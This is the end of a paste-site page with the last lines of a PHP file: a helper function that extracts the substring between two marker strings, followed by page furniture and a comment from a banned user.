  789. $ini = strpos($string, $start);
  790. if($ini==0) return "";
  791. $ini += strlen($start);
  792. $len = strpos($string, $end, $ini) - $ini;
  793.  
  794. return substr($string, $ini, $len);
  795. }
  796. ?>
Advertisement
Comments
  • User was banned
Add Comment
Please, Sign In to add comment